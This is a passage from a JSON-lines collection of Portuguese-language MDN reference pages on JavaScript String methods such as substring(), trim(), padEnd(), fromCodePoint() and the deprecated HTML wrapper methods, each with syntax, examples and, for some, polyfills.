`String.prototype.lastIndexOf()`\n* `String.prototype.charCodeAt()`\n* `String.prototype.codePointAt()`\n* `String.prototype.split()`\n* `String.fromCodePoint()`\n* JavaScript has a Unicode problem – Mathias Bynens"}
{"title":"String.prototype.substring() - JavaScript","text":"String.prototype.substring()\n============================\n\nResumo\n------\n\nO método `substring()` retorna a parte da string entre os índices inicial e final, ou até o final da string.\n\nSintaxe\n-------\n```\n\nstr.substring(indexStart[, indexEnd])\n```\n\n### Parâmetros\n\n`indexStart`\n\nUm inteiro entre `0` e o comprimento da string (`str.length`), especificando a posição na string do primeiro caractere a ser incluído na substring retornada.\n\n`indexEnd`\n\nOpcional. Um inteiro entre `0` e o comprimento da string (`str.length`), especificando a posição na string do primeiro caractere a **não** ser mais incluído na substring retornada.\n\n### Valor retornado\n\nUma nova string contendo a parte especificada da string fornecida.\n\nDescrição\n---------\n\n`substring()` extrai caracteres desde `indexStart` até, mas **não** **incluindo**, `indexEnd`. Em particular:\n\n* Se `indexStart` é igual a `indexEnd`, `substring()` retorna uma string vazia.\n* Se `indexEnd` for omitido, `substring()` extrai caracteres até o fim da string.\n* Se qualquer argumento for menor que `0` ou `NaN`, ele será tratado como `0`.\n* Se qualquer argumento for maior que `stringName.length`, ele será tratado como se fosse `stringName.length`\n\nSe `indexStart` for maior que `indexEnd`, então o efeito do `substring()` é como se os dois argumentos estivessem trocados, por exemplo, `str.substring(1, 0) == str.substring(0, 1)`.\n\nExemplos\n--------\n\n### Usando `substring()`\n\nO seguinte exemplo usa `substring()` para mostrar caracteres da palavra 'Mozilla':\n\n\n```js\nvar anyString = \"Mozilla\";\n\n// Mostra \"Moz\"\nconsole.log(anyString.substring(0, 3));\nconsole.log(anyString.substring(3, 0));\n\n// Mostra \"lla\"\nconsole.log(anyString.substring(4, 7));\nconsole.log(anyString.substring(7, 4));\n\n// Mostra \"Mozill\"\nconsole.log(anyString.substring(0, 6));\n\n// Mostra \"Mozilla\"\nconsole.log(anyString.substring(0, 7));\nconsole.log(anyString.substring(0, 10));\n```\n\n### Usando `substring()` com `length`\n\nO exemplo a seguir usa o método `substring()` e a propriedade `length` para extrair os últimos caracteres de uma string específica. Este método pode ser mais fácil de lembrar, visto que você não precisa saber os índices inicial e final como faria nos exemplos acima.\n\n\n```js\n// Mostra 'illa', os últimos 4 caracteres\nlet anyString = \"Mozilla\";\nlet anyString4 = anyString.substring(anyString.length - 4);\nconsole.log(anyString4);\n\n// Mostra 'zilla', os últimos 5 caracteres\nlet anyString = \"Mozilla\";\nlet anyString5 = anyString.substring(anyString.length - 5);\nconsole.log(anyString5);\n```\n\n### A diferença entre `substring()` e `substr()`\n\nHá uma diferença sutil entre os métodos `substring()` e `substr()`, então você deve ter cuidado para não confundi-los.\n\nOs argumentos de `substring()` representam os índices inicial e final, enquanto os argumentos de `substr()` representam o índice inicial e o número de caracteres a serem incluídos na string retornada.\n\nAlém disso, `substr()` é considerado um **recurso legacy no ECMAScript** e pode ser removido em versões futuras, portanto, é melhor evitar usá-lo, se possível.\n\n\n```js\nlet text = \"Mozilla\";\nconsole.log(text.substring(2, 5)); // retorna \"zil\"\nconsole.log(text.substr(2, 3)); // retorna \"zil\"\n```\n\n### Diferenças entre `substring()` e `slice()`\n\nOs métodos `substring()` e `slice()` são quase idênticos, mas existem algumas diferenças sutis entre os dois, especialmente na forma como os argumentos negativos são tratados.\n\nO método `substring()` troca seus dois argumentos se `indexStart` for maior que `indexEnd`, o que significa que uma string ainda será retornada. O método `slice()` retorna uma string vazia caso o mesmo ocorra.\n\n\n```js\nlet text = \"Mozilla\";\nconsole.log(text.substring(5, 2)); // retorna \"zil\"\nconsole.log(text.slice(5, 2)); // retorna \"\"\n```\n\n\nSe um ou ambos os argumentos forem negativos ou `NaN`, o método `substring()` os tratará como se fossem `0`.\n\n\n```js\nconsole.log(text.substring(-5, 2)); // retorna \"Mo\"\nconsole.log(text.substring(-5, -2)); // retorna \"\"\n```\n\n\n`slice()` também trata os argumentos `NaN` como `0`, mas quando recebe valores negativos, ele conta regressivamente a partir do final da string para encontrar os índices.\n\n\n```js\nconsole.log(text.slice(-5, 2)); // retorna \"\"\nconsole.log(text.slice(-5, -2)); // retorna \"zil\"\n```\n\n\nVeja a página `slice()` para mais exemplos com números negativos.\n\n### Substituindo uma `substring()` com uma string\n\nO seguinte exemplo substitui uma substring dentro de uma string. Ela irá substituir ambos caracteres e substrings individualmente. A função invocada na linha final do exemplo altera a string \"`Brave New World`\" para \"`Brave New Web`\".\n\n\n```js\nfunction replaceString(oldS, newS, fullS) {\n  // Substitui oldS por newS na string fullS\n  for (var i = 0; i < fullS.length; i++) {\n    if (fullS.substring(i, i + oldS.length) == oldS) {\n      fullS =\n        fullS.substring(0, i) +\n        newS +\n        fullS.substring(i + oldS.length, fullS.length);\n    }\n  }\n  return fullS;\n}\n\nreplaceString(\"World\", \"Web\", \"Brave New World\");\n```\n\n\nNote que isto pode resultar em um loop infinito se `oldS` for um substring de `newS` — por exemplo, se você tentou substituir \"`World`\" com \"`OtherWorld`\". O melhor método para substituir strings é o seguinte:\n\n\n```js\nfunction replaceString(oldS, newS, fullS) {\n  return fullS.split(oldS).join(newS);\n}\n```\n\n\nO código acima serve como um exemplo para operações com substring. Se você precisa substituir substrings, na maioria das vezes você vai querer usar `String.prototype.replace()`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.substring |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.substr()`\n* `String.prototype.slice()`"}
{"title":"String.prototype.strike() - JavaScript","text":"String.prototype.strike()\n=========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `strike()` cria um elemento HTML `<strike>` (en-US) que faz com que uma string seja exibida com o texto riscado.\n\nSintaxe\n-------\n```\n\nstr.strike()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML `<strike>` (en-US).\n\nDescrição\n---------\n\nO método `strike()` cria uma string dentro uma tag `<strike>`: \"`<strike>str</strike>`\".\n\nExemplos\n--------\n\n### Usando `strike()`\n\nO exemplo a seguir usa métodos do objeto global String para alterar a formatação da string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\n\nconsole.log(worldString.blink()); // <blink>Olá, mundo</blink>\nconsole.log(worldString.bold()); // <b>Olá, mundo</b>\nconsole.log(worldString.italics()); // <i>Olá, mundo</i>\nconsole.log(worldString.strike()); // <strike>Olá, mundo</strike>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.strike |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.blink()`\n* `String.prototype.bold()`\n* `String.prototype.italics()`"}
{"title":"String.prototype.fontsize() - JavaScript","text":"String.prototype.fontsize()\n===========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `fontsize()` cria um elemento HTML <font> (en-US) que faz com que uma string seja exibida no tamanho da fonte especificada.\n\n**Nota:** O elemento `<font>` foi removido do HTML5 e não deve mais ser usado. Em vez disso, web developers devem usar a propriedade CSS correspondente.\n\nSintaxe\n-------\n```\n\nstr.fontsize(size)\n```\n\n### Parâmetros\n\n`size`\n\nUm número inteiro entre 1 e 7.\n\n### Valor retornado\n\nUma string contendo um elemento HTML <font> (en-US).\n\nDescrição\n---------\n\nAo especificar o tamanho como um inteiro, você define o tamanho da fonte do texto para um dos 7 tamanhos definidos. Ao especificar `size` como uma string como \"-2\", você ajusta o tamanho da fonte do texto em relação ao tamanho definido na tag <basefont> (en-US).\n\nExemplos\n--------\n\n### Usando `fontsize()`\n\nO exemplo a seguir usa métodos do objeto global String para alterar o tamanho de uma string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\n\nconsole.log(worldString.small()); // <small>Olá, mundo</small>\nconsole.log(worldString.big()); // <big>Olá, mundo</big>\nconsole.log(worldString.fontsize(7)); // <font size=\"7\">Olá, mundo</fontsize>\n```\n\n\nCom o objeto `element.style` (en-US) você pode obter o atributo `style` do elemento e manipulá-lo de forma mais genérica, por exemplo:\n\n\n```js\ndocument.getElementById(\"#oIdDoElemento\").style.fontSize = \"0.7em\";\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.fontsize |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.big()`\n* `String.prototype.small()`"}
{"title":"String.prototype.trim() - JavaScript","text":"String.prototype.trim()\n=======================\n\nO método **`trim()`** remove os espaços em branco (whitespaces) do início e/ou fim de um texto. É considerado espaço em branco (espaço, tabulação, espaço fixo/rígido, etc.) e todo sinal de fim de linha de texto (LF, CR, etc.).Sintaxe\n-------\n```\n\nstr.trim()\n```\n\nDescrição\n---------\n\nO método `trim()` retorna o texto sem espaços em branco no início e/ou fim da string. O `trim()` não altera o valor da string original.\n\nExperimente\n-----------\n\nExemplos\n--------\n\n### Usando `trim()`\n\nOs exemplos a seguir retornam o valor de `'foo'` sem espaços em branco:\n\n\n```js\n//.trim() removendo whitespace de ambos os lados\n\nvar str = \" foo \";\nconsole.log(str.trim()); // retorna 'foo'\n\n// Outro exemplo de .trim() removendo whitespace de\n// apenas um lado.\n\nvar str = \"foo \";\nconsole.log(str.trim()); // retorna 'foo'\n```\n\nPolyfill\n--------\n\nExecutar o seguinte código antes antes de qualquer código irá criar o método `trim()` se o mesmo não estiver disponível nativamente.\n\n\n```js\nif (!String.prototype.trim) {\n  String.prototype.trim = function () {\n    return this.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, \"\");\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.trim |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.trimLeft()` (en-US) \nNon-standard\n* `String.prototype.trimRight()` (en-US) \nNon-standard"}
{"title":"String.prototype.sub() - JavaScript","text":"String.prototype.sub()\n======================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `sub()` cria um elemento HTML `<sub>` (en-US) que faz com que uma string seja exibida como subscrito (texto pequeno).\n\nSintaxe\n-------\n```\n\nstr.sub()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML `<sub>` (en-US).\n\nDescrição\n---------\n\nO método `sub()` cria uma string dentro de uma tag `<sub>`: `\"<sub>str</sub>\"`.\n\nExemplos\n--------\n\n### Usando os métodos `sub()` e `sup()`\n\nOs exemplos seguintes usam o métodos `sub()` e `sup()` para formatar uma string:\n\n\n```js\nvar superText = \"superscript\";\nvar subText = \"subscript\";\n\nconsole.log(\"This is what a \" + superText.sup() + \" looks like.\");\n// This is what a <sup>superscript</sup> looks like\n\nconsole.log(\"This is what a \" + subText.sub() + \" looks like.\");\n// This is what a <sub>subscript</sub> looks like.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.sub |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.sup()`"}
{"title":"String.prototype.fontcolor() - JavaScript","text":"String.prototype.fontcolor()\n============================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `fontcolor()` cria um elemento HTML <font> (en-US) que faz com que uma string seja exibida na cor especificada.\n\n**Nota:** O elemento `<font>` foi removido do HTML5 e não deve mais ser usado. Em vez disso, web developers devem usar a propriedade CSS correspondente.\n\nSintaxe\n-------\n```\n\nstr.fontcolor(color)\n```\n\n### Parâmetros\n\n`color`\n\nDeve ser um string que expresse uma cor em formato hexadecimal ou o nome, em Inglês, de uma cor. Os nomes das cores estão listados na referência de cores CSS.\n\n### Valor retornado\n\nUma string contendo um elemento HTML <font> (en-US).\n\nDescrição\n---------\n\nSe você expressar uma cor em formato hexadecimal, deve usar o formato `rrggbb`. Por exemplo, os valores RGB hexadecimais para salmão são vermelho = FA, verde = 80 e azul = 72, portanto, o tripleto RGB para salmão é \"FA8072\".\n\nExemplos\n--------\n\n### Usando `fontcolor()`\n\nO exemplo a seguir usa o método `fontcolor()` para alterar a cor de uma string, produzindo uma string com a tag HTML `<font>`.\n\n\n```js\nvar worldString = \"Olá, mundo\";\n\nconsole.log(worldString.fontcolor(\"red\") + \" está vermelho nesta linha\");\n// '<font color=\"red\">Olá, mundo</font> está vermelho nesta linha'\n\nconsole.log(\n  worldString.fontcolor(\"FF00\") + \" está vermelho em hexadecimal nesta linha\",\n);\n// '<font color=\"FF00\">Olá, mundo</font> está vermelho em hexadecimal nesta linha'\n```\n\n\nCom o objeto `element.style` (en-US) você pode obter o atributo `style` do elemento e manipulá-lo de forma mais genérica, por exemplo:\n\n\n```js\ndocument.getElementById(\"#oIdDoElemento\").style.color = \"red\";\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.fontcolor |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.fontsize()`"}
{"title":"String.prototype.blink() - JavaScript","text":"String.prototype.blink()\n========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`blink()`** cria um elemento HTML <blink> que faz uma string piscar.\n\n**Aviso:** A criação de textos que piscam é desaprovada por vários padrões de acessibilidade. O próprio elemento `<blink>` não é padrão e está obsoleto!\n\nSintaxe\n-------\n```\n\nstr.blink()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML <blink>.\n\nDescrição\n---------\n\n O método `blink()` cria uma string dentro de uma tag `<blink>`:\n `\"<blink>str</blink>\"`.\n\nExemplos\n--------\n\n### Usando `blink()`\n\nOs exemplos abaixo usam métodos do objeto String para alterar a formatação de uma string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\n\nconsole.log(worldString.blink()); // <blink>Olá, mundo</blink>\nconsole.log(worldString.bold()); // <b>Olá, mundo</b>\nconsole.log(worldString.italics()); // <i>Olá, mundo</i>\nconsole.log(worldString.strike()); // <strike>Olá, mundo</strike>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.blink |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.bold()`\n* `String.prototype.italics()`\n* `String.prototype.strike()`"}
{"title":"String.prototype.toString() - JavaScript","text":"String.prototype.toString()\n===========================\n\nO método **`toString()`** retorna uma string representando o objeto especificado.\n\nSintaxe\n-------\n```\n\nstr.toString()\n```\n\nDescrição\n---------\n\nO objeto `String` substitui o método `toString()` do objeto `Object`. Ele não herda `Object.prototype.toString()`. Para objetos `String`, o método `toString()` retorna uma representação de string do objeto e é o mesmo que o método `String.prototype.valueOf()`.\n\nExemplos\n--------\n\n### Usando `toString()`\n\nO exemplo a seguir exibe o valor string de um objeto `String`:\n\n\n```js\nvar x = new String(\"Hello world\");\n\nconsole.log(x.toString()); // retorna 'Hello world'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.tostring |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toSource()`\n* `String.prototype.valueOf()`"}
{"title":"String.prototype.small() - JavaScript","text":"String.prototype.small()\n========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `small()` cria um elemento HTML `<small>` (en-US) que faz com que uma string seja exibida em uma fonte pequena.\n\nSintaxe\n-------\n```\n\nstr.small()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML `<small>` (en-US).\n\nDescrição\n---------\n\nO método `small()` cria uma string dentro de uma tag `<small>`: `\"<small>str</small>\"`.\n\nExemplos\n--------\n\n### Usando `small()`\n\nO exemplo a seguir usa métodos do objeto global String para alterar o tamanho da string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\n\nconsole.log(worldString.small()); // <small>Olá, mundo</small>\nconsole.log(worldString.big()); // <big>Olá, mundo</big>\nconsole.log(worldString.fontsize(7)); // <font size=\"7\">Olá, mundo</fontsize>\n```\n\n\nCom o objeto element.style (en-US) você pode pegar o atributo de estilo do elemento e manipulá-lo de forma mais genérica, por exemplo:\n\n\n```js\ndocument.getElementById(\"#oIdDoElemento\").style.fontSize = \"0.7em\";\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.small |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.fontsize()`\n* `String.prototype.big()`"}
{"title":"String.prototype.italics() - JavaScript","text":"String.prototype.italics()\n==========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `italics()` cria um elemento HTML `<i>` que faz com que uma string fique em itálico.\n\nSintaxe\n-------\n```\n\nstr.italics()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML `<i>`.\n\nDescrição\n---------\n\n O método `italics()` cria uma string dentro de uma tag `<i>`:\n `\"<i>str</i>\"`.\n\nExemplos\n--------\n\n### Usando `italics()`\n\nO exemplo a seguir usa métodos do objeto global String para alterar a formatação de uma string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\nconsole.log(worldString.blink()); // <blink>Olá, mundo</blink>\nconsole.log(worldString.bold()); // <b>Olá, mundo</b>\nconsole.log(worldString.italics()); // <i>Olá, mundo</i>\nconsole.log(worldString.strike()); // <strike>Olá, mundo</strike>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.italics |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.blink()`\n* `String.prototype.bold()`\n* `String.prototype.strike()`"}
{"title":"String.prototype.padEnd() - JavaScript","text":"String.prototype.padEnd()\n=========================\n\nO método `padEnd()` preenche a string original com um determinado caractere, ou conjunto de caraceres, (repetidamente, se necessário) para que a string resultante alcance um determinado comprimento. O preenchimento é aplicado a partir do final (direita) da string original. A string original não é modificada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.padEnd(targetLength [, padString])\n```\n\n### Parâmetros\n\n`targetLength`\n\nO comprimento da string resultante após a string original ter sido preenchida. Se o valor for menor do que o próprio comprimento da string original, a string original é retornada sem modificações.\n\n`padString`\n\nOpcional. O caractere (ou caracteres) que deve completar a string atual. Caso o comprimento desta string seja muito longo, estando acima do comprimento alvo, ela será truncada e sua parte esquerda restante é aplicada. O valor padrão para esse parâmetro é \" \" (`U+0020`).\n\n### Valor retornado\n\nUma `String` cuja composição vem da string original, completada por um ou mais caracteres de preenchimento, respeitando o comprimento alvo.\n\nExemplos\n--------\n\n### Usando padEnd\n\n\n```js\n\"abc\".padEnd(10); // \"abc \"\n\"abc\".padEnd(10, \"foo\"); // \"abcfoofoof\"\n\"abc\".padEnd(6, \"123456\"); // \"abc123\"\n\"abc\".padEnd(1); // \"abc\"\n```\n\nPolyfill\n--------\n\nRodando o seguinte código antes de qualquer código irá criar o método `String.prototype.padEnd()` caso ele não esteja disponível nativamente:\n\n\n```js\n// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js\n// https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/String/padEnd\nif (!String.prototype.padEnd) {\n  String.prototype.padEnd = function padEnd(targetLength, padString) {\n    targetLength = targetLength >> 0; //floor if number or convert non-number to 0;\n    padString = String(typeof padString !== \"undefined\" ? padString : \" \");\n    if (this.length > targetLength) {\n      return String(this);\n    } else {\n      targetLength = targetLength - this.length;\n      if (targetLength > padString.length) {\n        padString += padString.repeat(targetLength / padString.length); //append to original to ensure we are longer than needed\n      }\n      return String(this) + padString.slice(0, targetLength);\n    }\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.padend |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.padStart()`"}
{"title":"String.fromCodePoint() - JavaScript","text":"String.fromCodePoint()\n======================\n\nO método estático **String.fromCodePoint()** retorna uma seqüência de caracteres criado usando a seqüência especificada de pontos de código.\n\nSyntax\n------\n```\n\nString.fromCodePoint(num1[, ...[, numN]])\n```\n\n### Parâmetros\n\n`num1, ..., numN`\n\nUma sequência de pontos de código.\n\n### Exceções\n\n`RangeError` (en-US)\n\nO `RangeError` (en-US) é lançado se um ponto de código Unicode inválido é dado (por exemplo, \"RangeError: NaN não é um ponto de código válido\").\n\nDescrição\n---------\n\nComo o fromCodePoint() é um método estático do `String`, você sempre vai chamar esse método como **String.fromCodePoint()✔** em vez de usá-lo como um método de uma string que você criar, como **\"minha string\".fromCodePoint()❌**.\n\nExemplos\n--------\n\n### Usando `fromCodePoint()`\n\n\n```js\nString.fromCodePoint(42); // \"\\*\"\nString.fromCodePoint(65, 90); // \"AZ\"\nString.fromCodePoint(0x404); // \"\\u0404\"\nString.fromCodePoint(0x2f804); // \"\\uD87E\\uDC04\"\nString.fromCodePoint(194564); // \"\\uD87E\\uDC04\"\nString.fromCodePoint(0x1d306, 0x61, 0x1d307); // \"\\uD834\\uDF06a\\uD834\\uDF07\"\n\nString.fromCodePoint(\"\\_\"); // RangeError\nString.fromCodePoint(Infinity); // RangeError\nString.fromCodePoint(-1); // RangeError\nString.fromCodePoint(3.14); // RangeError\nString.fromCodePoint(3e-2); // RangeError\nString.fromCodePoint(NaN); // RangeError\n```\n\n\n\n```js\n// String.fromCharCode() alone cannot get the character at such a high code point\n// The following, on the other hand, can return a 4-byte character as well as the\n// usual 2-byte ones (i.e., it can return a single character which actually has\n// a string length of 2 instead of 1!)\nconsole.log(String.fromCodePoint(0x2f804)); // or 194564 in decimal\n```\n\nPolyfill\n--------\n\nO método **String.fromCodePoint** foi adicionado ao padrão ECMAScript na versão 6 e pode não ser suportado em todos os navegadores da Web ou em todos os ambientes ainda. Use o código abaixo para um polyfill:\n\n\n```js\n/\\*! http://mths.be/fromcodepoint v0.1.0 by @mathias \\*/\nif (!String.fromCodePoint) {\n  (function () {\n    var defineProperty = (function () {\n      // IE 8 only supports `Object.defineProperty` on DOM elements\n      try {\n        var object = {};\n        var $defineProperty = Object.defineProperty;\n        var result = $defineProperty(object, object, object) && $defineProperty;\n      } catch (error) {}\n      return result;\n    })();\n    var stringFromCharCode = String.fromCharCode;\n    var floor = Math.floor;\n    var fromCodePoint = function () {\n      var MAX\\_SIZE = 0x4000;\n      var codeUnits = [];\n      var highSurrogate;\n      var lowSurrogate;\n      var index = -1;\n      var length = arguments.length;\n      if (!length) {\n        return \"\";\n      }\n      var result = \"\";\n      while (++index < length) {\n        var codePoint = Number(arguments[index]);\n        if (\n          !isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`\n          codePoint < 0 || // not a valid Unicode code point\n          codePoint > 0x10ffff || // not a valid Unicode code point\n          floor(codePoint) != codePoint // not an integer\n        ) {\n          throw RangeError(\"Invalid code point: \" + codePoint);\n        }\n        if (codePoint <= 0xffff) {\n          // BMP code point\n          codeUnits.push(codePoint);\n        } else {\n          // Astral code point; split in surrogate halves\n          // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae\n          codePoint -= 0x10000;\n          highSurrogate = (codePoint >> 10) + 0xd800;\n          lowSurrogate = (codePoint % 0x400) + 0xdc00;\n          codeUnits.push(highSurrogate, lowSurrogate);\n        }\n        if (index + 1 == length || codeUnits.length > MAX\\_SIZE) {\n          result += stringFromCharCode.apply(null, codeUnits);\n          codeUnits.length = 0;\n        }\n      }\n      return result;\n    };\n    if (defineProperty) {\n      defineProperty(String, \"fromCodePoint\", {\n        value: fromCodePoint,\n        configurable: true,\n        writable: true,\n      });\n    } else {\n      String.fromCodePoint = fromCodePoint;\n    }\n  })();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.fromcodepoint |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.fromCharCode()`\n* `String.prototype.charAt()`\n* `String.prototype.codePointAt()`\n* `String.prototype.charCodeAt()`"}
{"title":"String.prototype.link() - JavaScript","text":"String.prototype.link()\n=======================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `link()` cria uma string que representa o código para um elemento HTML `<a>` a ser usado como um link de hipertexto para outro URL.\n\nSintaxe\n-------\n```\n\nstr.link(url)\n```\n\n### Parâmetros\n\n`url`\n\nQualquer string que especifique o atributo `href` da tag `<a>`. Deve ser um URL válido (relativo ou absoluto), com qualquer caractere `&` escapado como `&amp` e qualquer `\"` caractere escapado como `&quot`.\n\n### Valor retornado\n\nUma string contendo um elemento HTML `<a>`.\n\nDescrição\n---------\n\nUse o método `link()` para criar um elemento HTML `<a>`. A string retornada pode então ser adicionada ao documento por meio de `document.write()` ou `element.innerHTML`.\n\nOs links criados com o método `link()` tornam-se elementos na array de links do objeto `document`. Veja `document.links` (en-US).\n\nExemplos\n--------\n\n### Usando `link()`\n\nO exemplo a seguir exibe a palavra \"MDN\" como um link que retorna o usuário à Mozilla Developer Network.\n\n\n```js\nvar hotText = \"MDN\";\nvar URL = \"https://developer.mozilla.org/\";\n\nconsole.log(\"Clique para retornar à\" + hotText.link(URL));\n// Clique para retornar à <a href=\"https://developer.mozilla.org/\">MDN</a>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.link |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.anchor()`"}
{"title":"String.prototype.toLocaleUpperCase() - JavaScript","text":"String.prototype.toLocaleUpperCase()\n====================================\n\nO método `toLocaleUpperCase()` retorna o valor da string em maiúsculas, de acordo com qualquer mapeamento de caixa de texto específico da localidade.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.toLocaleUpperCase()\nstr.toLocaleUpperCase(locale)\nstr.toLocaleUpperCase([locale, locale, ...])\n```\n\n### Parâmetros\n\n`locale`\n\nOpcional. O parâmetro `locale` indica a localização a ser usada para converter para maiúsculas de acordo com qualquer mapeamento de caixa de texto específico da localidade. Se vários locais forem fornecidos em um `Array`, a melhor localidade disponível é usada. A localidade padrão é a localidade atual do ambiente do host.\n\n### Valor retornado\n\nUma nova string que representa a string original convertida em maiúsculas, de acordo com qualquer mapeamento de caixa de texto específico da localidade.\n\n### Exceções\n\n* Um `RangeError` (en-US) (\"invalid language tag: xx\\_yy\") é lançado se um argumento `locale` não for uma tag de idioma válido.\n* Um `TypeError` (\"invalid element in locales argument\") é lançado se um elemento do array não for do tipo string.\nDescrição\n---------\n\nO método `toLocaleUpperCase()` retorna o valor da string convertida em maiúsculas de acordo com qualquer mapeamento de caixa de texto específico da localidade. `toLocaleUpperCase()` não afeta o valor da string em si. Na maioria dos casos, ele produzirá o mesmo resultado que `toUpperCase()`, mas para alguns locais, como turco, cujos mapeamentos de caixa de texto não seguem o mapeamento de caixa de texto padrão em Unicode, pode haver um resultado diferente.\n\n Observe também que a conversão não é necessariamente um mapeamento de caracteres 1:1, pois alguns caracteres podem resultar em dois (ou até mais) caracteres quando transformados em maiúsculas. 